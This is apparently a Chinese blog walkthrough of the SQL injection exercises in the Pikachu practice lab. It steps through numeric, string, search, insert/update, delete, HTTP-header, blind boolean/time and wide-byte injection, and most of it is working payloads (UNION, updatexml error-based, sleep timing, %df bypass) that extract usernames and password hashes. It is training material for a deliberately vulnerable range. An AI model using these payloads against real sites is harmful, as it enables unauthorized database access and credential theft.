Pikachu靶场--Sql Inject

参考借鉴

pikachu靶场练习(详细,完整,适合新手阅读)-CSDN博客

数字型注入(post)

这种类型的SQL注入利用在用户输入处插入数值,而不是字符串。攻击者试图通过输入数字来修改SQL查询的逻辑,以执行恶意操作。

选择序号进行查询 

在提交查询的同时BP抓包

右键-->发送给Repeater

判断为数字型注入,寻找注入点

拼接该语句,回显正常

id=3 order by 2

拼接该语句,回显报错,说明回显位为2

id=3 order by 3

拼接该语句,得到数据库名:pikachu,数据库版本:5.7.26

id=3 union select database(),version()

拼接该语句,得到pikachu库的表名

id=0 union select 3,group_concat(table_name) from information_schema.tables where table_schema=database()

拼接该语句,得到user表的字段名

id=0 union select 3,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'

拼接该语句,得到用户名和密码

id=0 union select username,password from users

成功获得用户名和密码,MD5解密即可

                

字符型注入(get)

字符型注入是通过在用户输入中注入恶意字符串来进行攻击。这些字符串可能包含SQL查询中的特殊字符或SQL语句的一部分,从而改变其原意。

输入username-->查询-->输入的内容被放到url

输入lili' 报错,输入lili'-- hello显示正常,判断为字符型   单引号闭合

输入该语句,回显正常

lili' order by 2-- hello

输入该语句,回显报错,说明回显位为2

lili' order by 3-- hello

输入该语句,得到数据库名:pikachu,数据库版本:5.7.26

lili' union select database(),version()-- hello

输入该语句,得到pikachu库的表名

lili' union select 1, group_concat(table_name) from information_schema.tables where table_schema = 'pikachu'-- hello

输入该语句,得到user表的字段名

lili' union select 1, group_concat(column_name) from information_schema.columns where table_schema = 'pikachu' and table_name = 'users'-- hello

输入该语句,得到用户名和密码

lili' union select username, password from users-- hello

成功获得用户名和密码,MD5解密即可

                 

搜索型注入

这种注入利用在搜索表单或查询中输入的内容。攻击者可以通过搜索字段注入SQL代码,执行恶意查询或获取未授权信息。

同字符型注入(get)的做法一样,闭合方式也是只不过回显位为3

解题参照上文

lili' union select 1,database(),version()-- hello

         

xx型注入

同字符型注入(get)的做法一样,只不过闭合方式是'))回显位为2

解题参照上文

lili') union select database(),version()-- hello

                

insert/update注入

这种注入类型发生在INSERTUPDATE语句中,攻击者通过恶意构造的数据插入或更新数据库,可能导致数据损坏、篡改或非预期的操作。

注册用户

注册用户的同时,BP抓包

右键-->发送给Repeater

拼接该语句,得到数据库名:pikachu

username=hello 'or updatexml(1,concat(0x7e,database()),1) or' 

拼接该语句,数据库版本:5.7.26

username=hello 'or updatexml(1,concat(0x7e,(select @@version),0x7e),1) or' 

拼接该语句,得到pikachu库的表名

用户名要是错的,才会执行报错函数,获取表名

username=0 'or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or' 

拼接该语句,得到user表的字段名

username=0 'or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,31),0x7e),1) or' 

拼接该语句,得到用户名和密码

username=0 'or updatexml(1,concat(0x7e,(select group_concat(username,password)from users limit 0,1),0x7e),1) or' 

成功获得用户名和密码,MD5解密即可

                

delete注入

Delete注入是指攻击者利用恶意构造的输入来删除数据库中的数据,这种攻击可以极大地破坏数据库完整性。

写入一条留言 

在删除留言的同时BP抓包-->发送给Repeater

发现有一个变化的id值,可能存在注入点,尝试用报错注入

BP的GET请求中输入sql语句时,空格用+代替,否则出错

拼接该语句,得到数据库名:pikachu

?id=61+or+updatexml+(1,concat(0x7e,database(),0x7e),1)+ 

拼接该语句,得到pikachu库的表名

?id=61+or+updatexml+(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema='pikachu'),0x7e),1)+ 

拼接该语句,得到user表的字段名

?id=61+or+updatexml+(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_schema='pikachu'+and+table_name='users'),0x7e),1)+ 

拼接该语句,得到用户名和密码

?id=61+or+updatexml+(1,concat(0x7e,(select+group_concat(username,password)+from+users),0x7e),1)+ 

成功获得用户名和密码,MD5解密即可

                

http header注入

这种类型的注入利用HTTP请求或响应头部中的输入来执行攻击。攻击者可以在头部中插入特定字符,从而影响服务器的处理逻辑或者进行信息泄露。

提示-->获取username和password 

在登录的同时BP抓包

没发现注入点,但发现界面上的信息被BP抓取

右键-->发送给Repeater

因为User-Agent和Accept展示在界面中,所以可以修改这两处

以修改User-Agent为例:拼接该语句,得到数据库名:pikachu

'or updatexml(1,concat(0x7e,(select database()),0x7e),1) or'

拼接该语句,得到pikachu库的表名

'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),0x7e),1) or'

拼接该语句,得到user表的字段名

'or updatexml (1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users'),0x7e),1) or'

拼接该语句,得到用户名和密码

'or updatexml (1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1) or'

成功获得用户名和密码,MD5解密即可

以上以修改User-Agent为例,也可以修改Accept

                

盲注(base on boolian)

盲注是一种无法直接从响应中获取数据的注入攻击,攻击者通过发送特定的SQL查询,根据应用程序在查询结果中返回的布尔值(真或假)来推断数据库的结构和内容。

查询 lili' 不存在

查询 lili' -- hello,回显正常,判断为单引号闭合

拼接该语句,改变数字查看回显,得到数据库名字的长度:7

lili' and length(database())=7-- hello

拼接该语句,改变字母查看回显,得到数据库名字的第一个字母:p

lili' and substr(database(),1,1)='p'-- hello

拼接该语句,改变字母查看回显,得到数据库名字的第二个字母:i

lili' and substr(database(),2,1)='i'-- hello

猜测数据库名为:pikachu

lili' and substr(database(),1,7)='pikachu'-- hello

成功获得数据库名

接下来用同样的方法猜测表名

①用group_concat猜---费时

②写python脚本自己跑

③使用sqlmap自动注入工具

         

盲注(base on time)

基于时间的盲注是一种通过观察应用程序对恶意查询的响应时间来推断数据库的内容。攻击者可以发送一个查询,如果应用程序对其作出延迟响应,则说明条件成立。

拼接该语句,立马加载完毕(无效)

lili and sleep(5)-- hello

拼接该语句,5秒后加载完毕(有效),所以本题是单引号闭合

lili' and sleep(5)-- hello

拼接该语句,改变数字查看回显速度,得到数据库名字的长度:7

lili' and if (length(database())=7,sleep(5),1)-- hello

拼接该语句,改变字母查看回显,得到数据库名字的第一个字母:p

lili' and if(substr(database(),1,1)='p',sleep(5),1)-- hello

拼接该语句,改变字母查看回显,得到数据库名字的第一个字母:p

lili' and if(substr(database(),2,1)='i',sleep(5),1)-- hello

猜测数据库名为:pikachu

lili' and if(substr(database(),1,7)='pikachu',sleep(5),1)-- hello

成功获得数据库名

接下来用同样的方法猜测表名

用group_concat猜---费时

写python脚本自己跑

使用sqlmap自动注入工具

         

宽字节注入

宽字节注入利用数据库在处理双字节编码(如UTF-8)时的特性来执行攻击。攻击者通过在输入中插入特定的宽字节字符,可能绕过常规的输入过滤机制,从而成功执行注入。

在提交查询的同时BP抓包

它和联合注入类似,只是要在内容后面添加%df

name=lili%df' or 1=1-- hello

拼接该语句,测试得到回显位的数量

name=1%df' union select 1,2-- hello

拼接该语句,得到数据库名:pikachu

name=1%df' union select 1,database()-- hello

拼接该语句,得到pikachu库的表名

name=1%df' union select 1,group_concat(table_name)from information_schema.tables where table_schema=database()-- hello

拼接该语句,得到user表的字段名

name=1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=(select database())limit 3,1)-- hello

拼接该语句,得到用户名和密码

name=1%df' union select username,password from users-- hello

 成功获得用户名和密码,MD5解密即可

  • 16
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值